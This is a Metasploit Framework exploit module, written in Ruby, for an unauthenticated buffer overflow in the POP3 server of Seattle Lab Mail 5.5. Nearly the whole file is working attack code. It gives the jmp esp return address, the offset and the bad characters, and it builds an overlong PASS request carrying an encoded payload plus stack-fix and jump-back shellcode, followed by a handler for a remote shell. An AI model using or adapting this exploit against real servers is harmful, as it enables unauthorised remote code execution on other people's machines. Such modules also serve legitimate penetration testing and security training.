##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,	
			'Name'           => 'Seattle Lab Mail 5.5 POP3 Buffer Overflow',
			'Description'    => %q{
        There exists an unauthenticated buffer overflow vulnerability
        in the POP3 server of Seattle Lab Mail 5.5 when sending a password
        with excessive length.

        Successful exploitation should not crash either the
        service or the server; however, after initial use the
        port cannot be reused for successive exploitation until
        the service has been restarted. Consider using a command
        execution payload following the bind shell to restart
        the service if you need to reuse the same port.

        The overflow appears to occur in the debugging/error reporting
        section of the slmail.exe executable, and there are multiple
        offsets that will lead to successful exploitation. This exploit
        uses 2606, the offset that creates the smallest overall payload.
        The other offset is 4654.

        The return address is overwritten with a "jmp esp" call from the
        application library SLMFC.DLL found in %SYSTEM%\\system32\\. This
        return address works against all version of Windows and service packs.

        The last modification date on the library is dated 06/02/99. Assuming
        that the code where the overflow occurs has not changed in some time,
        prior version of SLMail may also be vulnerable with this exploit. The
        author has not been able to acquire older versions of SLMail for
        testing purposes. Please let us know if you were able to get this
        exploit working against other SLMail versions.		
			},
			'Author'         => 'stinko',
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['OSVDB', '12002'],
					['BID', '7519'],
					['MIL', '638'],
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},			
			'Payload'        =>
				{
					'Space'    => 600,
					'BadChars' => "\x00\x0a\x0d\x20",
					'MinNops'  => 100,
				},
			'Platform'       => 'win',
			'Targets'        => 
				[
					['Windows NT/2000/XP/2003 (SLMail 5.5)', { 'Ret' => 0x5f4a358f, 'Offset' => 2606 } ]
				],
			'DisclosureDate' => 'May 07 2003',
			'DefaultTarget'  => 0))

		register_options(
			[
				Opt::RPORT(110)
			], self.class)

	end
	
	def exploit
		connect

		print_status("Trying #{target.name} using jmp esp at #{"%.8x" % target.ret}")

		banner = sock.get_once
		if banner !~ /^\+OK POP3 server (.*) ready/
			print_error("POP3 server does not appear to be running")
			return
		end

		sock.put("USER #{rand_text_alphanumeric(10)}\r\n")
		res = sock.get_once
		if banner !~ /^\+OK (.*) welcome here$/
			print_error("POP3 server rejected username")
			return
		end

		request  = "PASS " + rand_text_alphanumeric(target['Offset'] - payload.encoded.length)
		request << payload.encoded
		request << [target.ret].pack('V')
		request << "\x81\xc4\xff\xef\xff\xff\x44" # fix the stack
		request << "\xe9\xcb\xfd\xff\xff"         # go back 560 bytes
		request << rand_text_alphanumeric(512)         # cruft
		request << "\r\n"

		sock.put(request)

		handler
		disconnect
	end

end
